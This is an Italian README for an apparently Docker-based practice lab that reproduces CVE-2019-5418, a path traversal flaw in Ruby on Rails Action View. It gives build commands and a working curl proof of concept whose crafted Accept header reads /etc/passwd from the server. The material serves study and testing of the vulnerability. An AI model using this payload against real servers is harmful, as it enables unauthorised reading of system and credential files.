
Ambiente di laboratorio basato su Docker per l'exploit di path traversal CVE-2019-5418 Ruby on Rails, con comandi curl PoC per leggere file arbitrari del server tramite header Accept appositamente creati.
Questo progetto è un ambiente per esercitarsi e riprodurre la vulnerabilità di inclusione di file locali (CVE-2019-5418) in Ruby on Rails. Tale vulnerabilità consente di leggere file arbitrari all'interno del server tramite path traversal attraverso l'intestazione Accept.
Ruby on Rails è un framework per applicazioni web che consente agli sviluppatori di creare applicazioni web in modo rapido e semplice.
Action View di Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 e v3 presenta una vulnerabilità di inclusione di file locali.
Quando render file viene utilizzato in un controller per renderizzare una vista da un'applicazione esterna, Rails determina la posizione del file basandosi sull'intestazione Accept fornita dall'utente. Inviando un'intestazione Accept con il valore Accept: ../../../../../../../../etc/passwd{{ l'attaccante può sfruttare una vulnerabilità di path traversal per leggere file arbitrari.
Esegui i seguenti comandi per compilare e avviare Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
Dopo l'avvio del server, visita http://your-ip:3000 per accedere alla pagina di Ruby on Rails.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
È stato letto con successo un file arbitrario all'interno del server tramite l'intestazione Accept.